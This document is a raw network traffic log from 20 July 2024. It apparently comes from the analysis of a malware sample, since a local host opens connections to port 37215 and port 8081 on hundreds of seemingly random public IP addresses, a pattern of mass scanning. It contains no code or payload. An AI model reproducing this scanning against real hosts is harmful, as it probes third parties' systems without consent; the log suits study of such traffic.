Jul 20, 2024 23:01:01.604737043 CEST	52725	37215	192.168.2.14	197.95.27.148
Jul 20, 2024 23:01:01.604737043 CEST	52725	37215	192.168.2.14	157.216.161.59
Jul 20, 2024 23:01:01.604747057 CEST	37215	52725	197.196.31.171	192.168.2.14
Jul 20, 2024 23:01:01.604756117 CEST	37215	52725	157.208.127.244	192.168.2.14
Jul 20, 2024 23:01:01.604778051 CEST	52725	37215	192.168.2.14	197.196.31.171
Jul 20, 2024 23:01:01.604778051 CEST	52725	37215	192.168.2.14	157.208.127.244
Jul 20, 2024 23:01:01.604789972 CEST	37215	52725	157.20.249.180	192.168.2.14
Jul 20, 2024 23:01:01.604827881 CEST	52725	37215	192.168.2.14	41.65.98.19
Jul 20, 2024 23:01:01.604827881 CEST	52725	37215	192.168.2.14	52.155.86.86
Jul 20, 2024 23:01:01.604827881 CEST	52725	37215	192.168.2.14	157.137.75.124
Jul 20, 2024 23:01:01.604829073 CEST	52725	37215	192.168.2.14	153.57.57.9
Jul 20, 2024 23:01:01.604829073 CEST	52725	37215	192.168.2.14	157.177.125.202
Jul 20, 2024 23:01:01.604829073 CEST	52725	37215	192.168.2.14	41.173.192.227
Jul 20, 2024 23:01:01.604870081 CEST	37215	52725	41.99.10.85	192.168.2.14
Jul 20, 2024 23:01:01.604886055 CEST	52725	37215	192.168.2.14	41.156.215.126
Jul 20, 2024 23:01:01.604922056 CEST	52725	37215	192.168.2.14	41.99.10.85
Jul 20, 2024 23:01:01.604957104 CEST	52725	37215	192.168.2.14	157.31.140.76
Jul 20, 2024 23:01:01.605004072 CEST	52725	37215	192.168.2.14	199.67.163.62
Jul 20, 2024 23:01:01.605037928 CEST	52725	37215	192.168.2.14	37.3.189.109
Jul 20, 2024 23:01:01.605070114 CEST	52725	37215	192.168.2.14	157.75.252.43
Jul 20, 2024 23:01:01.605089903 CEST	52725	37215	192.168.2.14	41.10.15.208
Jul 20, 2024 23:01:01.605089903 CEST	52725	37215	192.168.2.14	199.150.19.53
Jul 20, 2024 23:01:01.605092049 CEST	52725	37215	192.168.2.14	157.220.26.182
Jul 20, 2024 23:01:01.605143070 CEST	37215	52725	32.244.217.115	192.168.2.14
Jul 20, 2024 23:01:01.605179071 CEST	52725	37215	192.168.2.14	197.88.129.45
Jul 20, 2024 23:01:01.605196953 CEST	37215	52725	37.110.59.42	192.168.2.14
Jul 20, 2024 23:01:01.605196953 CEST	52725	37215	192.168.2.14	157.11.29.10
Jul 20, 2024 23:01:01.605196953 CEST	52725	37215	192.168.2.14	157.20.249.180
Jul 20, 2024 23:01:01.605196953 CEST	52725	37215	192.168.2.14	32.244.217.115
Jul 20, 2024 23:01:01.605211973 CEST	52725	37215	192.168.2.14	41.233.169.62
Jul 20, 2024 23:01:01.605232000 CEST	52725	37215	192.168.2.14	37.110.59.42
Jul 20, 2024 23:01:01.605243921 CEST	52725	37215	192.168.2.14	113.163.100.190
Jul 20, 2024 23:01:01.605299950 CEST	37215	52725	41.188.32.205	192.168.2.14
Jul 20, 2024 23:01:01.605335951 CEST	52725	37215	192.168.2.14	41.188.32.205
Jul 20, 2024 23:01:01.605386972 CEST	52725	37215	192.168.2.14	139.212.201.39
Jul 20, 2024 23:01:01.605510950 CEST	37215	52725	157.88.41.229	192.168.2.14
Jul 20, 2024 23:01:01.605520010 CEST	37215	52725	157.245.238.163	192.168.2.14
Jul 20, 2024 23:01:01.605529070 CEST	37215	52725	197.232.128.49	192.168.2.14
Jul 20, 2024 23:01:01.605552912 CEST	52725	37215	192.168.2.14	157.245.238.163
Jul 20, 2024 23:01:01.605552912 CEST	52725	37215	192.168.2.14	197.232.128.49
Jul 20, 2024 23:01:01.605595112 CEST	52725	37215	192.168.2.14	157.81.103.110
Jul 20, 2024 23:01:01.605675936 CEST	52725	37215	192.168.2.14	157.250.180.168
Jul 20, 2024 23:01:01.605695963 CEST	52725	37215	192.168.2.14	116.213.32.189
Jul 20, 2024 23:01:01.605712891 CEST	52725	37215	192.168.2.14	197.62.166.112
Jul 20, 2024 23:01:01.605751038 CEST	52725	37215	192.168.2.14	41.7.80.153
Jul 20, 2024 23:01:01.605787992 CEST	37215	52725	41.122.12.187	192.168.2.14
Jul 20, 2024 23:01:01.605797052 CEST	52725	37215	192.168.2.14	41.27.117.169
Jul 20, 2024 23:01:01.605798006 CEST	37215	52725	41.243.57.159	192.168.2.14
Jul 20, 2024 23:01:01.605808020 CEST	37215	52725	124.232.166.233	192.168.2.14
Jul 20, 2024 23:01:01.605822086 CEST	52725	37215	192.168.2.14	41.122.12.187
Jul 20, 2024 23:01:01.605822086 CEST	52725	37215	192.168.2.14	41.243.57.159
Jul 20, 2024 23:01:01.605835915 CEST	52725	37215	192.168.2.14	124.232.166.233
Jul 20, 2024 23:01:01.605845928 CEST	37215	52725	50.0.188.147	192.168.2.14
Jul 20, 2024 23:01:01.605911970 CEST	52725	37215	192.168.2.14	41.89.17.37
Jul 20, 2024 23:01:01.605984926 CEST	52725	37215	192.168.2.14	197.200.12.199
Jul 20, 2024 23:01:01.606025934 CEST	52725	37215	192.168.2.14	81.216.201.21
Jul 20, 2024 23:01:01.606049061 CEST	52725	37215	192.168.2.14	197.102.177.131
Jul 20, 2024 23:01:01.606420040 CEST	37215	52725	118.0.129.46	192.168.2.14
Jul 20, 2024 23:01:01.606456041 CEST	52725	37215	192.168.2.14	118.0.129.46
Jul 20, 2024 23:01:01.606615067 CEST	37215	52725	157.136.249.217	192.168.2.14
Jul 20, 2024 23:01:01.606623888 CEST	37215	52725	197.30.62.141	192.168.2.14
Jul 20, 2024 23:01:01.606758118 CEST	37215	52725	141.92.189.24	192.168.2.14
Jul 20, 2024 23:01:01.606766939 CEST	37215	52725	157.92.46.65	192.168.2.14
Jul 20, 2024 23:01:01.606776953 CEST	37215	52725	197.136.233.151	192.168.2.14
Jul 20, 2024 23:01:01.606785059 CEST	37215	52725	117.157.75.129	192.168.2.14
Jul 20, 2024 23:01:01.606794119 CEST	37215	52725	41.121.47.232	192.168.2.14
Jul 20, 2024 23:01:01.606802940 CEST	37215	52725	43.186.3.173	192.168.2.14
Jul 20, 2024 23:01:01.606805086 CEST	52725	37215	192.168.2.14	157.92.46.65
Jul 20, 2024 23:01:01.606811047 CEST	37215	52725	41.79.186.119	192.168.2.14
Jul 20, 2024 23:01:01.606817007 CEST	52725	37215	192.168.2.14	197.136.233.151
Jul 20, 2024 23:01:01.606817007 CEST	52725	37215	192.168.2.14	117.157.75.129
Jul 20, 2024 23:01:01.606817007 CEST	52725	37215	192.168.2.14	41.121.47.232
Jul 20, 2024 23:01:01.606828928 CEST	52725	37215	192.168.2.14	43.186.3.173
Jul 20, 2024 23:01:01.607342958 CEST	37215	52725	41.171.70.30	192.168.2.14
Jul 20, 2024 23:01:01.607352018 CEST	37215	52725	197.228.255.157	192.168.2.14
Jul 20, 2024 23:01:01.607386112 CEST	52725	37215	192.168.2.14	41.171.70.30
Jul 20, 2024 23:01:01.607389927 CEST	52725	37215	192.168.2.14	197.228.255.157
Jul 20, 2024 23:01:01.607512951 CEST	37215	52725	157.203.119.152	192.168.2.14
Jul 20, 2024 23:01:01.607522011 CEST	37215	52725	197.66.212.124	192.168.2.14
Jul 20, 2024 23:01:01.607546091 CEST	52725	37215	192.168.2.14	157.203.119.152
Jul 20, 2024 23:01:01.607553959 CEST	52725	37215	192.168.2.14	197.66.212.124
Jul 20, 2024 23:01:01.607592106 CEST	37215	52725	197.249.151.109	192.168.2.14
Jul 20, 2024 23:01:01.607601881 CEST	37215	52725	197.195.106.45	192.168.2.14
Jul 20, 2024 23:01:01.607629061 CEST	52725	37215	192.168.2.14	197.249.151.109
Jul 20, 2024 23:01:01.607631922 CEST	52725	37215	192.168.2.14	197.195.106.45
Jul 20, 2024 23:01:01.607696056 CEST	37215	52725	197.77.31.163	192.168.2.14
Jul 20, 2024 23:01:01.607714891 CEST	37215	52725	41.34.34.12	192.168.2.14
Jul 20, 2024 23:01:01.607732058 CEST	52725	37215	192.168.2.14	197.77.31.163
Jul 20, 2024 23:01:01.607743979 CEST	52725	37215	192.168.2.14	41.34.34.12
Jul 20, 2024 23:01:01.607846022 CEST	37215	52725	197.59.92.194	192.168.2.14
Jul 20, 2024 23:01:01.607955933 CEST	37215	52725	41.80.60.235	192.168.2.14
Jul 20, 2024 23:01:01.607964039 CEST	37215	52725	90.241.170.10	192.168.2.14
Jul 20, 2024 23:01:01.610014915 CEST	52725	37215	192.168.2.14	157.59.236.255
Jul 20, 2024 23:01:01.610014915 CEST	52725	37215	192.168.2.14	161.127.78.197
Jul 20, 2024 23:01:01.610016108 CEST	52725	37215	192.168.2.14	41.239.228.171
Jul 20, 2024 23:01:01.610016108 CEST	52725	37215	192.168.2.14	181.36.87.26
Jul 20, 2024 23:01:01.610016108 CEST	52725	37215	192.168.2.14	157.178.175.60
Jul 20, 2024 23:01:01.610016108 CEST	52725	37215	192.168.2.14	197.202.208.182
Jul 20, 2024 23:01:01.610016108 CEST	52725	37215	192.168.2.14	41.26.172.196
Jul 20, 2024 23:01:01.611288071 CEST	52725	37215	192.168.2.14	197.249.254.134
Jul 20, 2024 23:01:01.611288071 CEST	52725	37215	192.168.2.14	197.43.195.147
Jul 20, 2024 23:01:01.611288071 CEST	52725	37215	192.168.2.14	41.71.22.237
Jul 20, 2024 23:01:01.611310005 CEST	37215	52725	212.127.34.6	192.168.2.14
Jul 20, 2024 23:01:01.611320019 CEST	37215	52725	4.79.178.142	192.168.2.14
Jul 20, 2024 23:01:01.611329079 CEST	37215	52725	157.183.27.248	192.168.2.14
Jul 20, 2024 23:01:01.611365080 CEST	52725	37215	192.168.2.14	157.183.27.248
Jul 20, 2024 23:01:01.611367941 CEST	52725	37215	192.168.2.14	212.127.34.6
Jul 20, 2024 23:01:01.611531019 CEST	37215	52725	41.226.92.193	192.168.2.14
Jul 20, 2024 23:01:01.611541033 CEST	37215	52725	41.30.131.179	192.168.2.14
Jul 20, 2024 23:01:01.611557961 CEST	37215	52725	76.199.109.54	192.168.2.14
Jul 20, 2024 23:01:01.611566067 CEST	37215	52725	197.241.150.191	192.168.2.14
Jul 20, 2024 23:01:01.611567974 CEST	52725	37215	192.168.2.14	41.226.92.193
Jul 20, 2024 23:01:01.611574888 CEST	37215	52725	24.132.91.59	192.168.2.14
Jul 20, 2024 23:01:01.611576080 CEST	52725	37215	192.168.2.14	41.30.131.179
Jul 20, 2024 23:01:01.611576080 CEST	52725	37215	192.168.2.14	76.199.109.54
Jul 20, 2024 23:01:01.611583948 CEST	37215	52725	197.8.234.46	192.168.2.14
Jul 20, 2024 23:01:01.611593008 CEST	37215	52725	41.40.48.20	192.168.2.14
Jul 20, 2024 23:01:01.611601114 CEST	37215	52725	197.164.125.148	192.168.2.14
Jul 20, 2024 23:01:01.611608982 CEST	37215	52725	13.86.185.73	192.168.2.14
Jul 20, 2024 23:01:01.611618042 CEST	37215	52725	157.255.17.174	192.168.2.14
Jul 20, 2024 23:01:01.611625910 CEST	37215	52725	41.212.179.177	192.168.2.14
Jul 20, 2024 23:01:01.611634970 CEST	37215	52725	41.115.1.213	192.168.2.14
Jul 20, 2024 23:01:01.611645937 CEST	37215	52725	157.47.87.238	192.168.2.14
Jul 20, 2024 23:01:01.611654043 CEST	37215	52725	60.250.175.203	192.168.2.14
Jul 20, 2024 23:01:01.611661911 CEST	37215	52725	157.136.175.137	192.168.2.14
Jul 20, 2024 23:01:01.611665964 CEST	52725	37215	192.168.2.14	41.115.1.213
Jul 20, 2024 23:01:01.611680031 CEST	37215	52725	197.181.156.3	192.168.2.14
Jul 20, 2024 23:01:01.611689091 CEST	37215	52725	138.242.39.199	192.168.2.14
Jul 20, 2024 23:01:01.611696959 CEST	37215	52725	197.170.105.28	192.168.2.14
Jul 20, 2024 23:01:01.611705065 CEST	37215	52725	157.229.133.19	192.168.2.14
Jul 20, 2024 23:01:01.611712933 CEST	37215	52725	145.169.160.7	192.168.2.14
Jul 20, 2024 23:01:01.611720085 CEST	37215	52725	197.210.50.88	192.168.2.14
Jul 20, 2024 23:01:01.611722946 CEST	52725	37215	192.168.2.14	157.255.88.114
Jul 20, 2024 23:01:01.611722946 CEST	52725	37215	192.168.2.14	157.114.223.179
Jul 20, 2024 23:01:01.611722946 CEST	52725	37215	192.168.2.14	197.199.221.47
Jul 20, 2024 23:01:01.611722946 CEST	52725	37215	192.168.2.14	157.88.41.229
Jul 20, 2024 23:01:01.611722946 CEST	52725	37215	192.168.2.14	50.0.188.147
Jul 20, 2024 23:01:01.611722946 CEST	52725	37215	192.168.2.14	197.5.87.246
Jul 20, 2024 23:01:01.611727953 CEST	37215	52725	66.133.8.3	192.168.2.14
Jul 20, 2024 23:01:01.611737013 CEST	37215	52725	157.71.253.214	192.168.2.14
Jul 20, 2024 23:01:01.611743927 CEST	37215	52725	197.37.177.219	192.168.2.14
Jul 20, 2024 23:01:01.611751080 CEST	37215	52725	41.160.188.126	192.168.2.14
Jul 20, 2024 23:01:01.611758947 CEST	37215	52725	60.162.189.105	192.168.2.14
Jul 20, 2024 23:01:01.611772060 CEST	37215	52725	41.180.195.47	192.168.2.14
Jul 20, 2024 23:01:01.611779928 CEST	37215	52725	41.248.220.216	192.168.2.14
Jul 20, 2024 23:01:01.611788034 CEST	37215	52725	152.71.212.76	192.168.2.14
Jul 20, 2024 23:01:01.611797094 CEST	37215	52725	197.153.186.108	192.168.2.14
Jul 20, 2024 23:01:01.611800909 CEST	52725	37215	192.168.2.14	157.136.249.217
Jul 20, 2024 23:01:01.611800909 CEST	52725	37215	192.168.2.14	197.30.62.141
Jul 20, 2024 23:01:01.611800909 CEST	52725	37215	192.168.2.14	141.92.189.24
Jul 20, 2024 23:01:01.611800909 CEST	52725	37215	192.168.2.14	41.79.186.119
Jul 20, 2024 23:01:01.611800909 CEST	52725	37215	192.168.2.14	197.59.92.194
Jul 20, 2024 23:01:01.611800909 CEST	52725	37215	192.168.2.14	41.80.60.235
Jul 20, 2024 23:01:01.611800909 CEST	52725	37215	192.168.2.14	90.241.170.10
Jul 20, 2024 23:01:01.611805916 CEST	37215	52725	197.70.43.24	192.168.2.14
Jul 20, 2024 23:01:01.611824036 CEST	37215	52725	197.77.202.247	192.168.2.14
Jul 20, 2024 23:01:01.611830950 CEST	52725	37215	192.168.2.14	152.71.212.76
Jul 20, 2024 23:01:01.611833096 CEST	37215	52725	41.131.64.64	192.168.2.14
Jul 20, 2024 23:01:01.611851931 CEST	52725	37215	192.168.2.14	197.77.202.247
Jul 20, 2024 23:01:01.611852884 CEST	37215	52725	41.145.5.36	192.168.2.14
Jul 20, 2024 23:01:01.611861944 CEST	37215	52725	41.117.226.58	192.168.2.14
Jul 20, 2024 23:01:01.611871004 CEST	37215	52725	41.181.208.214	192.168.2.14
Jul 20, 2024 23:01:01.611871004 CEST	52725	37215	192.168.2.14	41.131.64.64
Jul 20, 2024 23:01:01.611879110 CEST	37215	52725	197.17.71.182	192.168.2.14
Jul 20, 2024 23:01:01.611888885 CEST	37215	52725	42.255.69.128	192.168.2.14
Jul 20, 2024 23:01:01.611896038 CEST	52725	37215	192.168.2.14	41.117.226.58
Jul 20, 2024 23:01:01.611896992 CEST	37215	52725	207.21.193.219	192.168.2.14
Jul 20, 2024 23:01:01.611906052 CEST	37215	52725	157.177.125.202	192.168.2.14
Jul 20, 2024 23:01:01.611911058 CEST	52725	37215	192.168.2.14	42.255.69.128
Jul 20, 2024 23:01:01.611915112 CEST	37215	52725	41.156.215.126	192.168.2.14
Jul 20, 2024 23:01:01.611924887 CEST	37215	52725	157.31.140.76	192.168.2.14
Jul 20, 2024 23:01:01.611927032 CEST	52725	37215	192.168.2.14	207.21.193.219
Jul 20, 2024 23:01:01.611933947 CEST	37215	52725	199.67.163.62	192.168.2.14
Jul 20, 2024 23:01:01.611938953 CEST	52725	37215	192.168.2.14	41.156.215.126
Jul 20, 2024 23:01:01.611943007 CEST	37215	52725	37.3.189.109	192.168.2.14
Jul 20, 2024 23:01:01.611952066 CEST	37215	52725	157.75.252.43	192.168.2.14
Jul 20, 2024 23:01:01.611960888 CEST	37215	52725	41.10.15.208	192.168.2.14
Jul 20, 2024 23:01:01.611960888 CEST	52725	37215	192.168.2.14	199.67.163.62
Jul 20, 2024 23:01:01.611969948 CEST	37215	52725	157.220.26.182	192.168.2.14
Jul 20, 2024 23:01:01.611979008 CEST	37215	52725	199.150.19.53	192.168.2.14
Jul 20, 2024 23:01:01.611987114 CEST	37215	52725	197.88.129.45	192.168.2.14
Jul 20, 2024 23:01:01.611989975 CEST	52725	37215	192.168.2.14	4.79.178.142
Jul 20, 2024 23:01:01.612004042 CEST	37215	52725	41.233.169.62	192.168.2.14
Jul 20, 2024 23:01:01.612011909 CEST	37215	52725	113.163.100.190	192.168.2.14
Jul 20, 2024 23:01:01.612020016 CEST	37215	52725	139.212.201.39	192.168.2.14
Jul 20, 2024 23:01:01.612027884 CEST	37215	52725	157.81.103.110	192.168.2.14
Jul 20, 2024 23:01:01.612032890 CEST	52725	37215	192.168.2.14	41.233.169.62
Jul 20, 2024 23:01:01.612035990 CEST	37215	52725	157.250.180.168	192.168.2.14
Jul 20, 2024 23:01:01.612046003 CEST	37215	52725	116.213.32.189	192.168.2.14
Jul 20, 2024 23:01:01.612052917 CEST	52725	37215	192.168.2.14	139.212.201.39
Jul 20, 2024 23:01:01.612052917 CEST	52725	37215	192.168.2.14	157.81.103.110
Jul 20, 2024 23:01:01.612057924 CEST	37215	52725	197.62.166.112	192.168.2.14
Jul 20, 2024 23:01:01.612066984 CEST	37215	52725	41.7.80.153	192.168.2.14
Jul 20, 2024 23:01:01.612076044 CEST	52725	37215	192.168.2.14	116.213.32.189
Jul 20, 2024 23:01:01.612077951 CEST	37215	52725	41.27.117.169	192.168.2.14
Jul 20, 2024 23:01:01.612095118 CEST	37215	52725	41.89.17.37	192.168.2.14
Jul 20, 2024 23:01:01.612101078 CEST	52725	37215	192.168.2.14	41.7.80.153
Jul 20, 2024 23:01:01.612103939 CEST	37215	52725	197.200.12.199	192.168.2.14
Jul 20, 2024 23:01:01.612112999 CEST	37215	52725	81.216.201.21	192.168.2.14
Jul 20, 2024 23:01:01.612122059 CEST	37215	52725	197.102.177.131	192.168.2.14
Jul 20, 2024 23:01:01.612148046 CEST	52725	37215	192.168.2.14	197.102.177.131
Jul 20, 2024 23:01:01.612385988 CEST	52725	37215	192.168.2.14	197.17.71.182
Jul 20, 2024 23:01:01.612385988 CEST	52725	37215	192.168.2.14	157.177.125.202
Jul 20, 2024 23:01:01.612385988 CEST	52725	37215	192.168.2.14	157.31.140.76
Jul 20, 2024 23:01:01.612385988 CEST	52725	37215	192.168.2.14	37.3.189.109
Jul 20, 2024 23:01:01.612385988 CEST	52725	37215	192.168.2.14	157.75.252.43
Jul 20, 2024 23:01:01.612385988 CEST	52725	37215	192.168.2.14	157.220.26.182
Jul 20, 2024 23:01:01.612385988 CEST	52725	37215	192.168.2.14	41.89.17.37
Jul 20, 2024 23:01:01.612385988 CEST	52725	37215	192.168.2.14	81.216.201.21
Jul 20, 2024 23:01:01.612596989 CEST	37215	52725	157.11.29.10	192.168.2.14
Jul 20, 2024 23:01:01.612673998 CEST	52725	37215	192.168.2.14	157.11.29.10
Jul 20, 2024 23:01:01.614392996 CEST	52725	37215	192.168.2.14	221.140.88.165
Jul 20, 2024 23:01:01.614392996 CEST	52725	37215	192.168.2.14	197.31.28.133
Jul 20, 2024 23:01:01.614392996 CEST	52725	37215	192.168.2.14	41.38.47.187
Jul 20, 2024 23:01:01.614392996 CEST	52725	37215	192.168.2.14	41.149.227.175
Jul 20, 2024 23:01:01.614392996 CEST	52725	37215	192.168.2.14	41.253.214.190
Jul 20, 2024 23:01:01.614392996 CEST	52725	37215	192.168.2.14	25.177.237.227
Jul 20, 2024 23:01:01.614392996 CEST	52725	37215	192.168.2.14	157.176.84.98
Jul 20, 2024 23:01:01.615052938 CEST	52725	37215	192.168.2.14	223.55.57.130
Jul 20, 2024 23:01:01.615052938 CEST	52725	37215	192.168.2.14	197.153.111.27
Jul 20, 2024 23:01:01.615052938 CEST	52725	37215	192.168.2.14	197.228.242.5
Jul 20, 2024 23:01:01.615052938 CEST	52725	37215	192.168.2.14	40.213.71.109
Jul 20, 2024 23:01:01.615052938 CEST	52725	37215	192.168.2.14	197.212.139.213
Jul 20, 2024 23:01:01.615317106 CEST	52725	37215	192.168.2.14	197.241.150.191
Jul 20, 2024 23:01:01.615317106 CEST	52725	37215	192.168.2.14	24.132.91.59
Jul 20, 2024 23:01:01.615317106 CEST	52725	37215	192.168.2.14	197.8.234.46
Jul 20, 2024 23:01:01.615317106 CEST	52725	37215	192.168.2.14	41.40.48.20
Jul 20, 2024 23:01:01.615317106 CEST	52725	37215	192.168.2.14	197.164.125.148
Jul 20, 2024 23:01:01.615317106 CEST	52725	37215	192.168.2.14	13.86.185.73
Jul 20, 2024 23:01:01.615317106 CEST	52725	37215	192.168.2.14	157.255.17.174
Jul 20, 2024 23:01:01.615317106 CEST	52725	37215	192.168.2.14	41.212.179.177
Jul 20, 2024 23:01:01.615346909 CEST	52725	37215	192.168.2.14	157.47.87.238
Jul 20, 2024 23:01:01.615346909 CEST	52725	37215	192.168.2.14	60.250.175.203
Jul 20, 2024 23:01:01.615346909 CEST	52725	37215	192.168.2.14	157.136.175.137
Jul 20, 2024 23:01:01.615346909 CEST	52725	37215	192.168.2.14	197.181.156.3
Jul 20, 2024 23:01:01.615346909 CEST	52725	37215	192.168.2.14	197.170.105.28
Jul 20, 2024 23:01:01.615346909 CEST	52725	37215	192.168.2.14	138.242.39.199
Jul 20, 2024 23:01:01.615346909 CEST	52725	37215	192.168.2.14	157.229.133.19
Jul 20, 2024 23:01:01.615346909 CEST	52725	37215	192.168.2.14	145.169.160.7
Jul 20, 2024 23:01:01.615391970 CEST	52725	37215	192.168.2.14	197.210.50.88
Jul 20, 2024 23:01:01.615391970 CEST	52725	37215	192.168.2.14	66.133.8.3
Jul 20, 2024 23:01:01.615391970 CEST	52725	37215	192.168.2.14	157.71.253.214
Jul 20, 2024 23:01:01.615391970 CEST	52725	37215	192.168.2.14	197.37.177.219
Jul 20, 2024 23:01:01.615392923 CEST	52725	37215	192.168.2.14	41.160.188.126
Jul 20, 2024 23:01:01.615392923 CEST	52725	37215	192.168.2.14	60.162.189.105
Jul 20, 2024 23:01:01.615392923 CEST	52725	37215	192.168.2.14	41.180.195.47
Jul 20, 2024 23:01:01.615392923 CEST	52725	37215	192.168.2.14	41.248.220.216
Jul 20, 2024 23:01:01.615416050 CEST	52725	37215	192.168.2.14	197.70.43.24
Jul 20, 2024 23:01:01.615416050 CEST	52725	37215	192.168.2.14	197.153.186.108
Jul 20, 2024 23:01:01.615416050 CEST	52725	37215	192.168.2.14	41.145.5.36
Jul 20, 2024 23:01:01.615416050 CEST	52725	37215	192.168.2.14	41.181.208.214
Jul 20, 2024 23:01:01.615416050 CEST	52725	37215	192.168.2.14	41.10.15.208
Jul 20, 2024 23:01:01.615416050 CEST	52725	37215	192.168.2.14	199.150.19.53
Jul 20, 2024 23:01:01.615416050 CEST	52725	37215	192.168.2.14	197.88.129.45
Jul 20, 2024 23:01:01.615416050 CEST	52725	37215	192.168.2.14	113.163.100.190
Jul 20, 2024 23:01:01.615453005 CEST	52725	37215	192.168.2.14	157.250.180.168
Jul 20, 2024 23:01:01.615453005 CEST	52725	37215	192.168.2.14	197.62.166.112
Jul 20, 2024 23:01:01.615453005 CEST	52725	37215	192.168.2.14	41.27.117.169
Jul 20, 2024 23:01:01.615453005 CEST	52725	37215	192.168.2.14	197.200.12.199
Jul 20, 2024 23:01:01.617060900 CEST	37215	52725	157.59.236.255	192.168.2.14
Jul 20, 2024 23:01:01.617134094 CEST	37215	52725	161.127.78.197	192.168.2.14
Jul 20, 2024 23:01:01.617142916 CEST	37215	52725	41.239.228.171	192.168.2.14
Jul 20, 2024 23:01:01.617152929 CEST	37215	52725	181.36.87.26	192.168.2.14
Jul 20, 2024 23:01:01.617290974 CEST	50165	8081	192.168.2.14	1.178.171.139
Jul 20, 2024 23:01:01.617290974 CEST	50165	8081	192.168.2.14	192.158.1.164
Jul 20, 2024 23:01:01.617290974 CEST	50165	8081	192.168.2.14	51.223.103.159
Jul 20, 2024 23:01:01.617347956 CEST	50165	8081	192.168.2.14	4.252.192.158
Jul 20, 2024 23:01:01.617470980 CEST	52725	37215	192.168.2.14	123.25.87.128
Jul 20, 2024 23:01:01.617470980 CEST	52725	37215	192.168.2.14	155.99.223.54
Jul 20, 2024 23:01:01.617470980 CEST	52725	37215	192.168.2.14	103.164.24.48
Jul 20, 2024 23:01:01.617470980 CEST	52725	37215	192.168.2.14	163.92.213.232
Jul 20, 2024 23:01:01.617470980 CEST	52725	37215	192.168.2.14	20.151.206.52
Jul 20, 2024 23:01:01.617537022 CEST	50165	8081	192.168.2.14	148.158.175.129
Jul 20, 2024 23:01:01.617575884 CEST	50165	8081	192.168.2.14	79.211.151.120
Jul 20, 2024 23:01:01.617599964 CEST	50165	8081	192.168.2.14	110.230.124.54
Jul 20, 2024 23:01:01.617599964 CEST	50165	8081	192.168.2.14	150.134.66.131
Jul 20, 2024 23:01:01.617666006 CEST	50165	8081	192.168.2.14	125.231.197.172
Jul 20, 2024 23:01:01.617758989 CEST	50165	8081	192.168.2.14	139.158.68.80
Jul 20, 2024 23:01:01.617758989 CEST	50165	8081	192.168.2.14	149.47.207.151
Jul 20, 2024 23:01:01.617803097 CEST	37215	52725	157.178.175.60	192.168.2.14
Jul 20, 2024 23:01:01.617811918 CEST	37215	52725	197.202.208.182	192.168.2.14
Jul 20, 2024 23:01:01.617813110 CEST	50165	8081	192.168.2.14	94.214.56.104
Jul 20, 2024 23:01:01.617820978 CEST	37215	52725	41.26.172.196	192.168.2.14
Jul 20, 2024 23:01:01.617877960 CEST	50165	8081	192.168.2.14	99.217.244.226
Jul 20, 2024 23:01:01.617954016 CEST	50165	8081	192.168.2.14	62.143.254.184
Jul 20, 2024 23:01:01.618027925 CEST	50165	8081	192.168.2.14	222.1.41.48
Jul 20, 2024 23:01:01.618051052 CEST	50165	8081	192.168.2.14	85.17.118.93
Jul 20, 2024 23:01:01.618072033 CEST	50165	8081	192.168.2.14	212.169.201.173
Jul 20, 2024 23:01:01.618072033 CEST	50165	8081	192.168.2.14	187.124.242.50
Jul 20, 2024 23:01:01.618072033 CEST	50165	8081	192.168.2.14	46.171.147.111
Jul 20, 2024 23:01:01.618072033 CEST	50165	8081	192.168.2.14	99.234.31.89
Jul 20, 2024 23:01:01.618072033 CEST	50165	8081	192.168.2.14	128.193.207.148
Jul 20, 2024 23:01:01.618072033 CEST	50165	8081	192.168.2.14	80.136.87.253
Jul 20, 2024 23:01:01.618072033 CEST	50165	8081	192.168.2.14	73.197.147.136
Jul 20, 2024 23:01:01.618072033 CEST	50165	8081	192.168.2.14	151.167.199.174
Jul 20, 2024 23:01:01.618105888 CEST	50165	8081	192.168.2.14	182.233.159.5
Jul 20, 2024 23:01:01.618136883 CEST	50165	8081	192.168.2.14	149.132.242.43
Jul 20, 2024 23:01:01.618141890 CEST	37215	52725	157.255.88.114	192.168.2.14
Jul 20, 2024 23:01:01.618151903 CEST	37215	52725	157.114.223.179	192.168.2.14
Jul 20, 2024 23:01:01.618159056 CEST	50165	8081	192.168.2.14	87.2.74.239
Jul 20, 2024 23:01:01.618160963 CEST	37215	52725	197.199.221.47	192.168.2.14
Jul 20, 2024 23:01:01.618170977 CEST	37215	52725	197.5.87.246	192.168.2.14
Jul 20, 2024 23:01:01.618185043 CEST	50165	8081	192.168.2.14	62.246.141.35
Jul 20, 2024 23:01:01.618227005 CEST	50165	8081	192.168.2.14	108.161.220.248
Jul 20, 2024 23:01:01.618243933 CEST	50165	8081	192.168.2.14	101.118.178.184
Jul 20, 2024 23:01:01.618243933 CEST	50165	8081	192.168.2.14	41.165.86.52
Jul 20, 2024 23:01:01.618243933 CEST	50165	8081	192.168.2.14	19.137.32.67
Jul 20, 2024 23:01:01.618243933 CEST	50165	8081	192.168.2.14	59.233.95.122
Jul 20, 2024 23:01:01.618243933 CEST	50165	8081	192.168.2.14	211.133.203.236
Jul 20, 2024 23:01:01.618243933 CEST	50165	8081	192.168.2.14	137.48.12.242
Jul 20, 2024 23:01:01.618243933 CEST	50165	8081	192.168.2.14	19.237.89.49
Jul 20, 2024 23:01:01.618243933 CEST	50165	8081	192.168.2.14	94.254.55.94
Jul 20, 2024 23:01:01.618359089 CEST	50165	8081	192.168.2.14	186.221.61.150
Jul 20, 2024 23:01:01.618359089 CEST	50165	8081	192.168.2.14	223.60.115.35
Jul 20, 2024 23:01:01.618359089 CEST	50165	8081	192.168.2.14	76.187.66.63
Jul 20, 2024 23:01:01.618359089 CEST	50165	8081	192.168.2.14	208.98.120.253
Jul 20, 2024 23:01:01.618359089 CEST	50165	8081	192.168.2.14	8.108.164.142
Jul 20, 2024 23:01:01.618359089 CEST	50165	8081	192.168.2.14	82.158.248.76
Jul 20, 2024 23:01:01.618359089 CEST	50165	8081	192.168.2.14	221.215.226.16
Jul 20, 2024 23:01:01.618618965 CEST	37215	52725	197.249.254.134	192.168.2.14
Jul 20, 2024 23:01:01.619230032 CEST	50165	8081	192.168.2.14	117.229.55.135
Jul 20, 2024 23:01:01.619230032 CEST	50165	8081	192.168.2.14	78.7.103.243
Jul 20, 2024 23:01:01.619230032 CEST	50165	8081	192.168.2.14	109.192.86.200
Jul 20, 2024 23:01:01.619230032 CEST	50165	8081	192.168.2.14	195.181.3.41
Jul 20, 2024 23:01:01.619230032 CEST	50165	8081	192.168.2.14	69.203.218.60
Jul 20, 2024 23:01:01.619230032 CEST	50165	8081	192.168.2.14	164.126.9.99
